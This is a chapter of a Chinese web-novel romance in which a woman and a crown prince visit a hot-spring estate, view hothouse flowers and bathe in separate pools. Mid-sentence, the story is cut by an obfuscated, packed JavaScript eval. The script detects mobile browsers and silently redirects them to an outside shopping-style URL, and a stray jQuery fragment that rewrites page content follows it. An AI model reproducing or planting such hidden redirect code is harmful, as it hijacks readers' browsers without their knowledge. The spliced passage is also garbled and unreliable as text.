三日后。
孟夏艰难地哄好了两只崽,这才在谢启宸的搀扶下坐上了马车。
暴露身份后,谢启宸的马车也换了。宽阔、高大,车壁厚实,里面铺满了软毯,榻上还放着软垫,既可以在里面行走,也可以舒舒服服地躺着。马车由四匹膘肥体壮的骏马拉着,这马应该是熟练工了,拉起车来又快又稳。
马车内放了六个熏炉,里面放着红罗碳,一股淡雅、清新的木质香弥漫着整个车厢,温暖又舒适,配上行驶中有点晃动的马车,很适合睡觉。
反正孟夏是有些昏昏欲睡了。
“夫人可是困了?”
孟夏点头,靠在软枕上,眼睛要睁不睁,眼看就要这样睡过去。
谢启宸被可爱到了,一双桃花眼弯了起来,坐到孟夏的身旁,抬手为她拆下头上的钗环,小心翼翼地让她躺在榻上,又展开榻上的锦衾盖到了她的身上。
孟夏醒来时,已经躺在床上了。她这一觉睡得舒服极了,只觉得浑身都软绵绵的。
听到响动,柳月掀开帘子,将她扶了起来,笑道:“夫人,咱们已经到庄子上了。”
她居然睡得这么沉。
孟夏一边洗漱一边问道:“现在是什么时辰了?”
“已经午时了,夫人午膳想吃什么?”
刚睡醒,孟夏没什么想吃的,不如吃个盲盒,便道:“让他们做些拿手的便行。”
说完孟夏还品了品,自己这句话好霸总啊。
没过多久,谢启宸便来了。他换了一身装扮,头戴精美华丽的玉冠,冠上还镶嵌了几颗熠熠生辉的浅蓝宝石。里层穿着一件朱红色的交颈中衣,外面却欲盖弥彰地罩着霜白色织锦长袍,只有在微微俯身或抬手时,孟夏才能从那素净的外袍领口瞥见那一抹红,分外勾人。
他束着一条镶嵌着一块红玛瑙的玄青色宽腰带,将腰身收得恰到好处,越发显得宽肩窄腰、身姿挺拔。
他手持一把新摘的红梅,鲜妍夺目,还带着几滴雪水。此时正微微低着头,一双桃花眼满含笑意,将红梅送到孟夏的面前。
咪的天咪的天咪的天!
谢启宸这孔雀开屏的模样也太招人了!孟夏简直要化身为狼将他就地正法。
哦,她差点忘了,他俩不匹配来着。
孟夏瞬间冷静,接过红梅,低头闻了一下,淡淡的冷香萦绕在鼻尖。她欢喜地抚了抚花瓣,将红梅插入一个白瓷瓶中。
见她喜欢,谢启宸笑道:“夫人,暖阁里的堂花*开得正好,不知夫人可愿与我同去观赏?”
“好啊。”孟夏点头,脸上带着淡淡的笑意。
感受到孟夏愿意接受他的靠近,谢启宸大受鼓舞。
暖阁就建在温泉边上。
相较于炭火暖房,温泉暖阁借助持续上升的热气和温泉的蒸汽,催出来的花不仅开得早,而且花瓣饱满、颜色鲜艳,不会焦边。
暖阁的门被推开,温润的花香混着硫磺的微暖扑面而来。一场堂花盛宴展现在孟夏的面前。
暖阁外北风卷地,暖阁内春意融融。红梅开得正艳,花香少了几分清冷,多了几分暖甜;牡丹开得雍容,紫红、粉白、姚黄,错落有致地摆在架子上,富贵逼人。垂丝海棠胭脂点点,茶花朱红如焰、洁白胜雪,花瓣厚实如绢,华贵无比。
孟夏在花丛中漫步,各色鲜花让她眼花缭乱,目不暇接。
她笑得真切,谢启宸也看得欢喜。他招来侍卫,耳语几句。
侍从们动了起来。有人将桌椅摆放在一树红梅下,有人将架子移来,又将一盆盆花摆在架子上,有人提着装着饭菜的膳匣走进暖阁,将一道道精美的菜肴摆放在紫檀雕花膳桌上,有人剪下鲜花,错落有致地插到瓷瓶中,摆到了桌上。
很快,群花环绕的午膳场景便布置好了。
满目皆是琳琅鲜花,入口尽是顶级美食,这么腐败的日子也是给她享受上了。真是美滋滋啊美滋滋。
孟夏眉眼弯弯,越发动人。
谢启宸看得入神,却怕她反感,不敢直视太久,时不时抬头悄悄看一眼。
他的夫人可真好看。
午膳过后,孟夏又在暖阁里赏玩了许久,兴趣移到了温泉上。
恰在此时,谢启宸道:“夫人可是累了?不如去泡温泉池子解乏。”
芜湖,重头戏来了。
她在心里苍蝇搓手,面上却笑意浅浅,眼眸微垂,轻声应道:“好。”
谢启宸一看夫人表情不对,立刻意识到她误会了,忙道:“夫人放心,这个温泉有好几处泉眼,池子都是分开的,我绝不会唐突夫人。”
孟夏:?那她可太不放心了。
怎么回事啊?他特地单独带她来泡温泉就是为了泡温泉?亏她还脑补了好几个温泉剧本!
“多谢殿下。”
谢启宸心中疑惑,怎么从夫人的话里好像听出了咬牙切齿的味道?一定是错觉。他安排得这么妥贴,夫人肯定感动于他的贴心。
他含蓄而自得地笑了。
虽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341354|199344||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然有些失望,但泡温泉还是很快乐的。
这是一个室内温泉,池壁和池底都由白玉砌成,触手温润。泉水是奶白色的,上面洒满了花瓣,淡淡的硫磺味混着暖融融的花香。
让柳月她们都出去后,孟夏便脱了衣服,迫不及待地伸脚进去试探了一下水温。“嘶,”有点烫,但烫得很爽,孟夏慢慢走进池子里,整个人都泡了进去。
太舒服了,她长长呼出一口气,只觉得浑身都舒坦起来,脑海开始放空,闭上眼睛后,耳边只有水轻微晃动的声音和自己的心跳声。
整个世界都空明了。
离她最近的那个池子里,谢启宸也在泡着。他也闭上了眼睛,脑子里却全都是她。夫人现在应该在池子里了吧。夫人所泡的是心泉,最能舒缓放松,不知夫人喜不喜欢。但它水温较热,不知道夫人受不受得了。
想着想着,他忍不住想到了其他地方。夫人此时必然是赤身泡在水里,那心泉是奶白色的,却也比不了夫人肤白胜雪;泉水温润,却也不及夫人细腻柔软。
毕竟那夜他曾切身体会过。
他忽然猛得拍自己额头,懊恼又羞耻,他怎么又想这些了?真是卑鄙无耻。
他咬牙切齿地唾骂自己,却还是止不住脑中乱想。毕竟这两个池子靠得极近,中间只隔着一堵墙。恍惚间,他仿佛能听到孟夏那边传来的水声。
墙那边,孟夏确实在玩水。她玩心大起,一会把水泼来泼去,一会捧水往上洒,一会尝试了下在温泉中游泳,一个人也玩得不亦乐乎,兴奋得像热带雨林中的猴子。就差一边泡温泉一边啃香蕉了。
芜湖!好玩!
直到泡得有点晕乎了,她才从池子里起来,擦干身子,穿上里衣。门外,柳月听到响动走了进来,帮她擦干头发,穿戴整齐。
此时孟夏已经昏昏欲睡了,比上午在马车上还困,是那种从骨子里透出来的困意。柳月正要扶她回房,却被门外的太监拦住了。
他是庄子的管事太监,此时脸上堆满了笑,道:“柳月姑娘,殿下吩咐了奴才为夫人好好安排住处。”他将后面几个字咬得很重,言下之意不言而喻。
“姑娘不熟悉新住处,还是由奴才带路吧。”他给了个眼色,一个健壮的侍女稳稳扶住了孟夏的另一边。
柳月的脸都有些白了,她就知道殿下带夫人来温泉庄子不怀好意!
孟夏精神一振,她就知道小太子带她来温泉庄子不怀好意!
呜呜呜,她终于要被强取豪夺了吗?!